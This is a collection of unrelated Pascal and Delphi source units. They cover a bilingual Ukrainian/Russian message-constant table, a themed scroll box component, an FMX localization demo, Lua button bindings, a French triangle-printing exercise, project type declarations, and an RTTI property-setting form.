namespace RemObjects.Elements.System; interface type VarParameter<T> = public sealed class private public constructor; empty; constructor(aVal: T); Value: T; // KEEP as variable end; ObsoleteMarker = public interface(java.lang.annotation.Annotation) method message: String; method fatal: Boolean; end; OutParameter = public interface(java.lang.annotation.Annotation) end; ValueTypeParameter = public interface(java.lang.annotation.Annotation) end; RecordType = public interface(java.lang.annotation.Annotation) end; ReadOnlyMethod = public interface(java.lang.annotation.Annotation) end; implementation constructor VarParameter<T>(aVal: T); begin Value := aVal; end; end.
unit cnConsts_Messages; interface const cn_Error :array[1..2] of String=('Помилка!','Ошибка!'); const OkBtnCaption :array[1..2] of string=('Ок','Ок'); const CancelBtnCaption :array[1..2] of string=('Відмінити','Отменить'); const YesBtnCaption :array[1..2] of string=('Так','Да'); const NoBtnCaption :array[1..2] of string=('Ні','Нет'); const AbortBtnCaption :array[1..2] of string=('Перервати','Прервать'); const RetryBtnCaption :array[1..2] of string=('Повторити','Повторить'); const IgnoreBtnCaption :array[1..2] of string=('Продовжити','Продолжить'); const AllBtnCaption :array[1..2] of string=('Усі','Все'); const NowBtnCaption :array[1..2] of string=('Поточні','Текущие'); const NeverBtnCaption :array[1..2] of string=('Жоден','Никакой'); const HelpBtnCaption :array[1..2] of string=('Допомога','Помощь'); const NoToAllBtnCaption :array[1..2] of string=('Ні для всіх','Нет для всех'); const YesToAllBtnCaption :array[1..2] of string=('Так для всіх','Да для всех'); const YesFromBufferCaption :array[1..2] of string=('З буферу','Из буфера'); const NoFromBufferCaption :array[1..2] of string=('Вручну','Вручную'); const wfLoadPackage_Const :array[1..2] of string=('Чекайте! Йде пошук та завантаження пакету!','Ждите, идет поиск и загрузка пакета!'); const wfLocateFunction_Const :array[1..2] of string=('Чекайте! Йде пошук функції!','Ждите, идет поиск функции!'); const wfSelectData_Const :array[1..2] of string=('Чекайте! Йде відбор даних!','Ждите, идет отбор данных!'); const wfPrepareData_Const :array[1..2] of string=('Чекайте! Йде підготовка даних!','Ждите, идет подготовка данных!'); const cn_warning_PercentSum :array[1..2] of string=('Сума за відсотками не повинна перевищувати 100 % !','Сумма по процентам не должна превышать 100 % !'); const cn_warning_StageOpl :array[1..2] of string=('Спочатку треба заповнити осіб, що навчаються та платників!','Сначала необходимо заполнить обущающихся и плательщиков!'); const cn_warningVvod_Percent :array[1..2] of string=('Відсоток введений невірно!','Процент введен неверно!'); const cn_warningVvod_Code :array[1..2] of string=('Код введений невірно!','Код введен неверно!'); const cn_warningVvod_Razdel :array[1..2] of string=('Код розділу введений невірно! Даного розділу не існує.','Код раздела введен неверно! Данного раздела не существует.'); const cn_warningVvod_Stat :array[1..2] of string=('Код статті введений невірно! Даної статті не існує.','Код статьи введен неверно! Данной статьи не существует.'); const cn_warningVvod_Kekv :array[1..2] of string=('Код КЕКВ введений невірно! Даного КЕКВ не існує.','Код КЕКЗ введен неверно! Данного КЕКЗ не существует.'); const cn_warningVvod_Smeta :array[1..2] of string=('Код кошторису введений невірно! Даного кошторису не існує.','Код сметы введен неверно! Данной сметы не существует.'); const cn_warning_PercentMoreThen100 :array[1..2] of string=('Відсоток не може бути більш, ніж 100%','Процент не может быть более 100 %'); const cn_warning_SmRozdStat :array[1..2] of string=('Сполучення кошторис-розділ-стаття невірно!','Сочетание смета-раздел-статья неверно!'); const cn_warning_SummaNotSame :array[1..2] of string=('Сума розбивки не співпадає з зазначеною!', 'Сумма разбивки не совпадант с указанной!'); const cn_warning_Delete :array[1..2] of string=('Ви дійсно хочете видалити цей запис?','Вы действительно хотите удалить эту запись?'); const cn_warning_Execute :array[1..2] of string=('Ви дійсно хочете виконати цю дію?','Вы действительно хотите выполнить это действие?'); const cn_warning_Preyskurant :array[1..2] of string=('Вартість навчання за даними параметрами не знайдена. Бажаєте вибрати з прейскуранту?','Стоимость обучения по данным параметрам не найдена. Хотите выбрать из прейскуранта?'); const cn_Faculty_Need :array[1..2] of String=('Необхідно заповнити факультет!','Необходимо заполнить факультет!'); const cn_Spec_Need :array[1..2] of String=('Необхідно заповнити спеціальніть!','Необходимо заполнить специальность!'); const cn_Group_Need :array[1..2] of String=('Необхідно заповнити групу!','Необходимо заполнить группу!'); const cn_FormStud_Need :array[1..2] of String=('Необхідно заповнити форму навчання!','Необходимо заполнить форму обучения!'); const cn_KatStud_Need :array[1..2] of String=('Необхідно заповнити категорію навчання!','Необходимо заполнить категорию обучения!'); const cn_National_Need :array[1..2] of String=('Необхідно заповнити громадянство!','Необходимо заполнить гражданство!'); const cn_DateBeg_Need :array[1..2] of String=('Необхідно заповнити дату початку!','Необходимо заполнить дату начала!'); const cn_DateEnd_Need :array[1..2] of String=('Необхідно заповнити дату закінчення!','Необходимо заполнить дату окончания!'); const cn_Sum_Need :array[1..2] of String=('Необхідно заповнити суму!','Необходимо заполнить сумму!'); const cn_AllData_Need :array[1..2] of String=('Необхідно заповнити усі дані за контрактом!','Необходимо заполнить все данные по контракту!'); const cn_Dates_Prohibition :array[1..2] of String=('Дата початку не може бути більш, ніж дата закінчення!','Дата начала не может быть больше даты окончания!'); const cn_SummaNotNul_Prohibition :array[1..2] of String=('Сума не може бути нульовою!', 'Сумма не может быть нулевой!'); const cn_Period_Prohibition :array[1..2] of String=('Дата закінчення вийшла за період дії контракту!', 'Дата окончания вышла за период действия контракта!'); const cn_no_actual_price :array[1..2] of String=('Немає актуальної версії','Нет актуальной версии'); {Льготы} const cn_lg_DateNakaz_Need :array[1..2] of String=('Необхідно заповнити дату наказу!','Необходимо заполнить дату приказа!'); const cn_lg_NomNakaz_Need :array[1..2] of String=('Необхідно заповнити номер наказу!','Необходимо заполнить номер приказа!'); const cn_lg_SumPerc_Need :array[1..2] of String=('Необхідно заповнити суму чи відсоток !','Необходимо заполнить сумму или процент!'); const cn_lg_DateBeg_Need :array[1..2] of String=('Необхідно заповнити дату початку!','Необходимо заполнить дату начала!'); const cn_lg_DateEnd_Need :array[1..2] of String=('Необхідно заповнити дату закінчення!','Необходимо заполнить дату окончания!'); const cn_PercentPeriods_Cross :array[1..2] of String=('Періоди з відсотками перетинаються!','Периоды с процентами пересекаются!'); const cn_SummaPeriods_Cross :array[1..2] of String=('Періоди з сумами перетинаються!','Периоды с суммами пересекаются!'); const cn_PercentMore100 :array[1..2] of String=('Відсоток не може перевищувати 100%!','Процент не может превышать 100%!'); const cn_ShortcutWhosCreate :array[1..2] of String=('Іконка була успішно створена в: ','Иконка была успешно создана в: '); const cn_DateDiss_Need :array[1..2] of String=('Необхідно заповнити дату розірвання контракту!','Необходимо заполнить дату расторжения контракта!'); const cn_DateOrder_Need :array[1..2] of String=('Необхідно заповнити дату наказу!','Необходимо заполнить дату приказа!'); const cn_NumOrder_Need :array[1..2] of String=('Необхідно заповнити номер наказу!','Необходимо заполнить номер приказа!'); const cn_NoDeleteContract :array[1..2] of String=('Неможливо видалити. За контрактом вже були сплати.','Невозможно удалить. По контракту уже были оплаты.'); const cn_CheckNumDogFalse :array[1..2] of String=('Контракт з таким номером вже існує!','Контракт с таким номером уже существует!'); const cn_NotHaveRights :array[1..2] of String=('Ви не маєте повноважень для здійснення даної дії!', 'У Вас нет прав для осуществления данного действия!'); const cn_GoToAdmin :array[1..2] of String=('Зверніться до адміністратора.','Обратитесь к администратору.'); const cn_ActionDenied :array[1..2] of String=('Дія заборонена','Действие запрещено'); const cn_Name_Need :array[1..2] of String=('Необхідно заповнити найменування !','Необходимо заполнить наименование!'); const cn_ShortName_Need :array[1..2] of String=('Необхідно заповнити коротке найменування !','Необходимо заполнить краткое наименование!'); const cn_Exec_Need :array[1..2] of String=('Необхідно заповнити посаду відповідального!','Необходимо заполнить должность ответственного!'); const cn_Dekan_Need :array[1..2] of String=('Необхідно заповнити ПІБ відповідального!','Необходимо заполнить ФИО ответственного!'); const cn_NonDeleteDependet :array[1..2] of String=('Неможливо видалити - запис має залежні записи','Невозможно удалить - запись имеет зависимые записи'); const cn_DelAll_Caption :array[1..2] of String=('Видалити усі','Удалить все'); const cn_DelAll_Promt :array[1..2] of String=('Ви дійсно бажаєте видалити усі записи у таблиці ?','Вы действительно желаете удалить все записи из таблицы?'); const cn_Accounts_Need :array[1..2] of String=('Необхідно заповнити розрахунковий рахунок!','Необходимо заполнить расчетный счет!'); const cn_Some_Need :array[1..2] of String=('Помилка заповнення даних форми. Не усі поля заповнені','Ошибка заполнения данных формы. Не все поля заполнены'); const cn_NotChangeRaport :array[1..2] of String=('Дія заборонена. Рапорт вже виконаний.','Действие запрещено. Рапорт уже выполнен.'); const cn_MoreDateStart :array[1..2] of String=('Дата початку не повинна бути меньш, ніж дата запуску системи!', 'Дата начала не должна быть менее даты запуска системы!'); const cn_NoDateBegVSBegRozbivka :array[1..2] of String=('Дата початку контракту не збігається з початковою датою розбивки за періодами сплат', 'Дата начала контракта не совпадает с начальной датой разбивки по периодам оплат'); const cn_NoDateEndVSEndRozbivka :array[1..2] of String=('Дата закінчення контракту не збігається з кінцевою датою розбивки за періодами сплат', 'Дата окончания контракта не совпадает с конечной датой разбивки по периодам оплат'); const cn_PeriodsLessDateStart :array[1..2] of String=('Дати за періодами повинні бути більше, ніж дата старту системи!','Даты по периодам оплат должны быть больше, чем дата запуска системы!'); const cn_DateBegNeedMoreDateEnd :array[1..2] of String=('Дата закінчення повинна бути бульше, ніж дата початку!','Дата окончания должна быть больше даты начала!'); const cn_DatesExists :array[1..2] of String=('Вже існуює період розбивки з аналогічними датами початку та закінчення!','Уже существует период разбивки с аналогичными датами начала и окончания!'); const cn_AcademicPeriodsCheck :array[1..2] of String=('Період не може перевищувати 1 академічний рік!','Период не может превышать 1 академический год!'); const cn_record_exist :array[1..2] of String=('Такий запис вже існує!','Такая запись уже существует!'); const cn_smet_Need :array[1..2] of String=('Бюджет не заповнений. Продовжити ?','Бюджет не заполненный. Продолжить ?'); {const cn_ _Need :array[1..2] of String=('Необхідно заповнити !','Необходимо заполнить !'); const cn_ _Need :array[1..2] of String=('Необхідно заповнити !','Необходимо заполнить !'); } implementation end.
unit LiteScrollBox; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, uColorTheme, ExtCtrls, LiteScrollbar, LiteToggleLabel; // Used to hide scrollbar if visibility is changed. type VisibilityChangedEvent = procedure(Sender: TObject; isVisible: boolean) of object; { Lite Label } type TLiteScrollBox = class(TScrollBox, IUnknown, IThemeSupporter) private theme: ColorTheme; barHandle: TLiteScrollbar; doAlign: boolean; visibilityChanged: VisibilityChangedEvent; procedure updateSelfColors(); // bar event procedure barStateChanged(Shift: TShiftState; X, Y: Integer); // toggles events procedure notifyToggleChanged(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); // visibility event procedure setVisibility(b: boolean); function getVisibility(): boolean; protected public constructor Create(AOwner: TComponent); override; procedure Loaded; override; // IThemeSupporter procedure setTheme(theme: ColorTheme); function getTheme(): ColorTheme; procedure updateColors(); procedure validateState(); { Must be of [0;1] } procedure setState(state: real); function getState(): real; procedure setScrollBar(b: TLiteScrollbar); function getScrollBar(): TLiteScrollbar; published // if True all childrent will be aligned vertically property DoAlignToogles: boolean read doAlign write doAlign; property OnVisibilityChanged: VisibilityChangedEvent read visibilityChanged write visibilityChanged; // Used to hide scrollbar if visibility is changed. property Visible: boolean read getVisibility write setVisibility; end; procedure Register; implementation procedure Register; begin RegisterComponents('Lite', [TLiteScrollBox]); end; // bar event procedure TLiteScrollBox.barStateChanged(Shift: TShiftState; X, Y: Integer); begin setState(barHandle.getState()); end; // toggles event procedure TLiteScrollBox.notifyToggleChanged(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin validateState(); end; // visibility event procedure TLiteScrollBox.setVisibility(b: boolean); begin inherited Visible := b; if Assigned(visibilityChanged) then visibilityChanged(self, b); end; // visibility event function TLiteScrollBox.getVisibility(): boolean; begin getVisibility := inherited Visible; end; // Override constructor TLiteScrollBox.Create(AOwner: TComponent); begin inherited Create(AOwner); theme := CT_DEFAULT_THEME; updateSelfColors(); BorderStyle := bsNone; validateState(); end; // Override procedure TLiteScrollBox.Loaded(); var i: integer; begin if doAlign then for i := 0 to ControlCount - 1 do if controls[i] is TLiteToggleLabel then TLiteToggleLabel (controls[i]).OnToggle := notifyToggleChanged; validateState(); // retrieves last wh from resizes setVisibility(Visible); // call event listener end; // Override procedure TLiteScrollBox.setTheme(theme: ColorTheme); var i: integer; supporter: IThemeSupporter; begin self.theme := theme; // link for i := 0 to ControlCount - 1 do if Supports(controls[i], IThemeSupporter, supporter) then supporter.setTheme(theme); end; // Override function TLiteScrollBox.getTheme(): ColorTheme; begin getTheme := theme; end; // Override procedure TLiteScrollBox.updateColors(); var i: integer; supporter: IThemeSupporter; begin updateSelfColors(); for i := 0 to ControlCount - 1 do if Supports(controls[i], IThemeSupporter, supporter) then supporter.updateColors(); end; // Override procedure TLiteScrollBox.updateSelfColors(); begin Color := theme.background; end; procedure TLiteScrollBox.validateState(); var i, top: integer; begin if doAlign then begin top := -VertScrollBar.Position; for i := 0 to ControlCount - 1 do begin controls[i].Top := top; top := top + controls[i].Height; end; end; if Assigned(barHandle) then begin if VertScrollbar.Range = 0 then barHandle.setSize(1) else barHandle.setSize((0.0 + ClientHeight) / VertScrollbar.Range); barHandle.setState(getState()); end; end; // TLiteScrollBox procedure TLiteScrollBox.setState(state: real); var y: integer; begin y := round((VertScrollBar.Range - ClientHeight) * state); if y < 0 then y := 0; VertScrollBar.Position := y; end; // TLiteScrollBox function TLiteScrollBox.getState(): real; begin if VertScrollBar.Range > Clientheight then getState := VertScrollBar.Position / (VertScrollBar.Range - ClientHeight) else getState := 1; end; // TLiteScrollBox procedure TLiteScrollBox.setScrollBar(b: TLiteScrollbar); begin barHandle := b; b.OnThumbMove := barStateChanged; validateState(); end; // TLiteScrollBox function TLiteScrollBox.getScrollBar(): TLiteScrollbar; begin getScrollBar := barHandle; end; end.
unit Unit1; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Dialogs, FMX.Layouts, FMX.ListBox, FMX.TreeView, FMX.StdCtrls, FMX.Controls.Presentation, FMX.TabControl; type TForm1 = class(TForm) Button1: TButton; ListBox1: TListBox; ComboBox1: TComboBox; ListBoxItem1: TListBoxItem; ListBoxItem2: TListBoxItem; ListBoxItem3: TListBoxItem; ListBoxItem4: TListBoxItem; TreeView1: TTreeView; TreeViewItem1: TTreeViewItem; TreeViewItem2: TTreeViewItem; TreeViewItem3: TTreeViewItem; Label1: TLabel; TabControl1: TTabControl; TabItem1: TTabItem; TabItem2: TTabItem; Label2: TLabel; CheckBox: TCheckBox; procedure FormCreate(Sender: TObject); procedure Button1Click(Sender: TObject); private procedure UpdateStrings; end; var Form1: TForm1; implementation {$R *.fmx} uses NtBase, NtBaseTranslator, NtResource, NtResourceString, FMX.NtLanguageDlg, FMX.NtTranslator; procedure TForm1.UpdateStrings; resourcestring SHello = 'Hello world'; begin Label1.Text := SHello; end; procedure TForm1.FormCreate(Sender: TObject); resourcestring SEnglish = 'English'; SFinnish = 'Finnish'; SGerman = 'German'; SFrench = 'French'; SJapanese = 'Japanese'; begin NtResources.Add('English', 'English', SEnglish, 'en'); NtResources.Add('Finnish', 'suomi', SFinnish, 'fi'); NtResources.Add('German', 'Deutsch', SGerman, 'de'); NtResources.Add('French', 'français', SFrench, 'fr'); NtResources.Add('Japanese', '日本語', SJapanese, 'ja'); _T(Self); UpdateStrings; end; procedure TForm1.Button1Click(Sender: TObject); begin if TNtLanguageDialog.Select('en', lnBoth) then UpdateStrings; end; initialization NtEnabledProperties := STRING_TYPES; end.
unit LuaButton; {$mode objfpc}{$H+} interface uses Classes, SysUtils, lua, pLuaObject, plua, Buttons; procedure RegisterLuaButton(L : Plua_State); procedure RegisterExistingButton(L : Plua_State; InstanceName : AnsiString; Instance : TButton); implementation uses MainForm; type { TButtonDelegate } TButtonDelegate = class(TLuaObjectEventDelegate) public constructor Create(InstanceInfo : PLuaInstanceInfo; obj : TObject); override; destructor Destroy; override; procedure ClickHandler(Sender : TObject); end; { TButtonDelegate } constructor TButtonDelegate.Create(InstanceInfo: PLuaInstanceInfo; obj : TObject); begin inherited Create(InstanceInfo, obj); TButton(obj).OnClick := @ClickHandler; end; destructor TButtonDelegate.Destroy; begin TButton(fobj).OnClick := nil; inherited Destroy; end; procedure TButtonDelegate.ClickHandler(Sender: TObject); begin CallEvent('OnClick'); end; var ButtonInfo : TLuaClassInfo; function newButton(l : PLua_State; paramidxstart, paramcount : Integer; InstanceInfo : PLuaInstanceInfo) : TObject; begin result := TButton.Create(frmMain); TButton(Result).Parent := frmMain; TButton(Result).Visible := true; TButtonDelegate.Create(InstanceInfo, result); end; function GetCaption(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); plua_pushstring(l, btn.Caption); result := 1; end; function SetCaption(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); btn.Caption := plua_tostring(l, paramidxstart); result := 0; end; function GetLeft(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); lua_pushinteger(l, btn.Left); result := 1; end; function SetLeft(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); btn.Left := lua_tointeger(l, paramidxstart); result := 0; end; function GetTop(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); lua_pushinteger(l, btn.Top); result := 1; end; function SetTop(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); btn.Top := lua_tointeger(l, paramidxstart); result := 0; end; function Click(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin result := 0; btn := TButton(target); plua_CallObjectEvent(plua_GetObjectInfo(l, btn), 'OnClick', []); end; function GetHeight(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); lua_pushinteger(l, btn.Height); result := 1; end; function SetHeight(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); btn.Height := lua_tointeger(l, paramidxstart); result := 0; end; function GetWidth(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); lua_pushinteger(l, btn.Width); result := 1; end; function SetWidth(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); btn.Width := lua_tointeger(l, paramidxstart); result := 0; end; function GetVisible(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); lua_pushboolean(l, btn.Visible); result := 1; end; function SetVisible(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); btn.Visible := lua_toboolean(l, paramidxstart); result := 0; end; function GetEnabled(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); lua_pushboolean(l, btn.Enabled); result := 1; end; function SetEnabled(target : TObject; l : Plua_State; paramidxstart, paramcount : integer) : Integer; var btn : TButton; begin btn := TButton(target); btn.Enabled := lua_toboolean(l, paramidxstart); result := 0; end; procedure RegisterLuaButton(L: Plua_State); begin plua_registerclass(L, ButtonInfo); end; procedure RegisterExistingButton(L: Plua_State; InstanceName : AnsiString; Instance: TButton); begin TButtonDelegate.Create(plua_registerExisting(L, InstanceName, Instance, @ButtonInfo), Instance); end; function setButtonInfo : TLuaClassInfo; begin plua_initClassInfo(result); result.ClassName := 'TButton'; result.New := @newButton; plua_AddClassProperty(result, 'Caption', @GetCaption, @SetCaption); plua_AddClassProperty(result, 'Left', @GetLeft, @SetLeft); plua_AddClassProperty(result, 'Top', @GetTop, @SetTop); plua_AddClassProperty(result, 'Width', @GetWidth, @SetWidth); plua_AddClassProperty(result, 'Height', @GetHeight, @SetHeight); plua_AddClassProperty(result, 'Visible', @GetVisible, @SetVisible); plua_AddClassProperty(result, 'Enabled', @GetEnabled, @SetEnabled); plua_AddClassMethod(result, 'Click', @Click); end; initialization ButtonInfo := setButtonInfo; finalization end.
{ ALGO: Faire un triangle composé de 'O' et de 'X' BUT: Afficher un triangle ENTREE:Taille max du triangle SORTIE: Triangle affiche correctement CONST MAX<- 500 TYPE Tableau2char: Tableau [1..MAX,1..MAX] de Caractere //Tableau de caractere Fonction Initialisation : ENTIER //Fonction nous donnant la taille max du triangle DEBUT REPETER ECRIRE ('Veuillez entrer la taille du triangle') LIRE (Initialisation) //On definit la taille maximum du triangle TANT QUE (Initialisation>1) //Le triangle doit obligatoirement faire plus d'une ligne et d'une colonne FIN PROCEDURE TChar (VAR T1:Tableau2char) VAR taille,i,j:ENTIER BEGIN taille<- Initialisation // Nous affectons la taille max du triangle a une valeur POUR i<-1 A taille FAIRE POUR j<- 1 A taille FAIRE SI i>=j ALORS T1[i,j]<- 'O' // Le tableau se remplit en premier lieu de 'O' FinSi SI (i=j) OU (i=taille) OU (j=1) ALORS T1[i,j]<- 'X' // On pose les contours a l'aide du caractere 'X' FinSi ECRIRE (T1[i,j]) FinPour ECRIRE // saut de ligne FinPour Fin VAR T2: Tableau [1..MAX,1..MAX] DE Caractere taille:ENTIER DEBUT TChar(T2) LIRE //Permet de ne pas quitter le programme directement FIN}Program TriangleChar; uses crt; CONST MAX=500; TYPE Tableau2char = Array [1..MAX,1..MAX] of Char; // Tableau de caractère Function Initialisation : integer; BEGIN REPEAT clrscr; writeln('Veuillez entrer la taille du triangle'); readln (Initialisation); UNTIL (Initialisation>1) END; Procedure TChar(VAR T1:Tableau2char); VAR taille:integer; i,j:integer; BEGIN taille:=Initialisation; For i:=1 to taille do Begin For j:=1 to taille do Begin If i>=j then Begin T1[i,j]:='O'; // Le tableau se rempli d'abbord de 'O' End; If (i=j) OR (i=taille) OR (J=1) then Begin T1[i,j]:='X'; // Puis les contours prennent le caractère 'X' End; Write(T1[i,j]); End; Writeln; End; END; Var T2:Array[1..MAX,1..MAX] of Char; taille:INTEGER; BEGIN clrscr; TChar(T2); // Appel de la procedure readln; END.
// Unit: trtm_types provides main types for trtm project // By: Sergey Sobolev // Version: 1.02 // Last modified: 14.04.05 22:52 // // History unit trtm_types; interface const MAX_METHODS = 40; MAX_ID = 39; MAX_METHODS_PER_CELL = 4; type TTRTM_Method_Text = record mname : string; mexample1 : string; mexample2 : string; end; type TTRTM_Methods_Text = array [ 1 .. MAX_METHODS ] of TTRTM_Method_Text; TTRTM_Methods_Cell = array [ 1 .. MAX_METHODS_PER_CELL ] of word; TPTRTM_Methods_Cell = ^TTRTM_Methods_Cell; TTRTM_Objects_Raw = array [ 1 .. MAX_ID ] of TTRTM_Methods_Cell; type TTRTM_Object = record id : word; desc : string; sol : TTRTM_Objects_Raw; end; type TPWord = ^word; type TTRTM_Table = array [ 1 .. MAX_ID ] of TTRTM_Object; type TTRTM_Methods_Set = array of TTRTM_Methods_Cell; type TTRTM_Methods_Indexes = array [ 1 .. MAX_METHODS ] of word; type TTRTM_Objects_Set = array of word; type TTRTM_Object_Analysis = record obj_id : word; bobj_ids : TTRTM_Objects_Set; unique : TTRTM_Methods_Indexes; all : TTRTM_Methods_Set; end; implementation end.
unit Unit1; interface uses Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.ComCtrls; type TForm1 = class(TForm) Memo1: TMemo; btnSetProperties: TButton; btnGetProperties: TButton; PageControl1: TPageControl; TabSheet1: TTabSheet; TabSheet2: TTabSheet; Panel1: TPanel; Edit1: TEdit; TabSheet3: TTabSheet; Button1: TButton; procedure btnSetPropertiesClick(Sender: TObject); procedure btnGetPropertiesClick(Sender: TObject); procedure FormCreate(Sender: TObject); procedure PageControl1Change(Sender: TObject); private { Private declarations } FComp: TComponent; function GetCurrentPageComponent: TComponent; procedure Log(AValue: string); // procedure SetProperty(AComp: TComponent; APropName, APropValue: string); overload; public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} uses System.Rtti, System.TypInfo; function ComponentToText(AComponent: TComponent): string; var LStrStream: TStringStream; LMemStream: TMemoryStream; begin if AComponent = nil then Exit(''); LStrStream := nil; LMemStream := nil; try LMemStream := TMemoryStream.Create(); LStrStream := TStringStream.Create(); // Stream the component LMemStream.WriteComponent(AComponent); LMemStream.Position := 0; // Convert to text ObjectBinaryToText(LMemStream, LStrStream); LStrStream.Position := 0; // Output the text Result := LStrStream.ReadString(LStrStream.Size); finally LStrStream.Free; LMemStream.Free; end; end; function UTF8TextToStr(AUnicode: string): string; var I, Len, W, Count: Integer; C: Char; WideChars: TCharArray; IsTokenStart: Boolean; IsUnicode: Boolean; procedure SetChar(AChar: WideChar); begin WideChars[Count] := AChar; Inc(Count); end; begin // Samples // s := '#44256#44061#44396#48516'; // 고객구분 // s := '#54788#44552'' ''#51077''/''#52636#44552'; // 현금 입/출금 // s := '#54788#44552'' ''#51077''/''#52636#44552''/'''; // 현금 입/출금/ // "#"로 시작하는 숫자는 유니코드 // "'' 문자'" 사이의 문자는 일반문자 if AUnicode.CountChar('#') = 0 then Exit(AUnicode); ///////////////////////////////////////////// // 길이 계산 Len := 0; IsTokenStart := False; IsUnicode := False; for I := Low(AUnicode) to High(AUnicode) do begin C := AUnicode[I]; case C of '#': Inc(Len); '''': IsTokenStart := not IsTokenStart; else begin if IsTokenStart then // 일반문자 Inc(Len) else // 유니코드 ; end; end; end; SetLength(WideChars, Len); ///////////////////////////////////////////// // 유니코드와 문자 구분 W := 0; Count := 0; for I := Low(AUnicode) to High(AUnicode) do begin C := AUnicode[I]; case C of '#': begin if IsUnicode then SetChar(WideChar(SmallInt(W))); IsUnicode := True; W := 0; if I = Low(AUnicode) then Continue; end; '''': begin if (not IsTokenStart) and IsUnicode then SetChar(WideChar(SmallInt(W))); IsTokenStart := not IsTokenStart; IsUnicode := False; end; else begin if IsTokenStart then // 일반문자 SetChar(C) else // 유니코드 W := W * 10 + (Ord(C) - Ord('0')); ; end; end; end; if IsUnicode then SetChar(WideChar(SmallInt(W))); Result := string.Create(WideChars); end; function SetProperty(AComp: TComponent; APropName, APropValue: string): Boolean; // AValue 값의 데이터타입으로 APropValue를 설정해 TValue 반환 function GetTValue(AValue: TValue; APropValue: string): TValue; var IdentToInt: TIdentToInt; Properties: TArray<string>; Int: Integer; begin Result := TValue.Empty; case AValue.Kind of tkString, tkLString, tkWString: Result := TValue.From<string>(APropValue); tkUString: Result := TValue.From<string>(UTF8TextToStr(APropValue)); tkInteger, tkInt64: begin IdentToInt := FindIdentToInt(AValue.TypeInfo); if Assigned(IdentToInt) then IdentToInt(APropValue, Int) else Int := StrToIntDef(APropValue, 0); Result := TValue.From<Integer>(Int); end; tkEnumeration: Result := TValue.FromOrdinal(AValue.TypeInfo, GetEnumValue(AValue.TypeInfo, APropValue)); tkSet: begin Int := StringToSet(AValue.TypeInfo, APropValue); TValue.Make(@Int, AValue.TypeInfo, Result); end; tkUnknown: ; tkChar: ; tkFloat: ; tkClass: ; tkMethod: ; tkWChar: ; tkVariant: ; tkArray: ; tkRecord: ; tkInterface: ; tkDynArray: ; tkClassRef: ; tkPointer: ; tkProcedure: ; end; end; procedure GetPropertyFromPropertiesText( Context: TRttiContext; PropName: string; var PropObj: TObject; // 속성을 적용할 객체 var Prop: TRttiProperty // 최종 족성(Button.Font.Style) ); var I: Integer; P: TRttiProperty; Properties: TArray<string>; TypeInfo: PTypeInfo; begin Properties := PropName.Split(['.']); TypeInfo := PropObj.ClassInfo; for I := Low(Properties) to High(Properties) do begin if I > Low(Properties) then PropObj := Prop.GetValue(PropObj).AsObject; Prop := Context.GetType(TypeInfo).GetProperty(Properties[I]); if Assigned(Prop) then TypeInfo := Prop.PropertyType.Handle; end; end; var CompObj: TObject; Context: TRttiContext; Prop: TRttiProperty; Value, NewValue: TValue; begin Context := TRttiContext.Create; CompObj := TObject(AComp); GetPropertyFromPropertiesText( Context, APropName, CompObj, // var Prop // var ); // 컴포넌트에 해당 속성 없음 if not Assigned(Prop) then Exit(False); Value := Prop.GetValue(CompObj); NewValue := GetTValue(Value, APropValue); if NewValue.IsEmpty then Exit(False); Prop.SetValue(CompObj, NewValue); Result := True; end; procedure TForm1.FormCreate(Sender: TObject); begin FComp := GetCurrentPageComponent; end; procedure TForm1.Log(AValue: string); begin OutputDebugString(PChar(AValue)); end; procedure TForm1.PageControl1Change(Sender: TObject); begin Memo1.Lines.Clear; FComp := GetCurrentPageComponent; end; procedure TForm1.btnGetPropertiesClick(Sender: TObject); begin if Assigned(FComp) then Memo1.Lines.Text := ComponentToText(FComp); end; procedure TForm1.btnSetPropertiesClick(Sender: TObject); var I: Integer; Properties: TStrings; Key, Value: string; begin Properties := Memo1.Lines; for I := 1 to Properties.Count - 2 do begin Key := Properties.KeyNames[I].Trim; Value := Properties.ValueFromIndex[I].Trim.DeQuotedString; if not SetProperty(FComp, Key, Value) then ShowMessageFmt('Not support property(%s)', [Key]); end; end; function TForm1.GetCurrentPageComponent: TComponent; begin Result := nil; if PageControl1.ActivePage.ControlCount > 0 then Result := PageControl1.ActivePage.Controls[0] as TComponent; end; end.
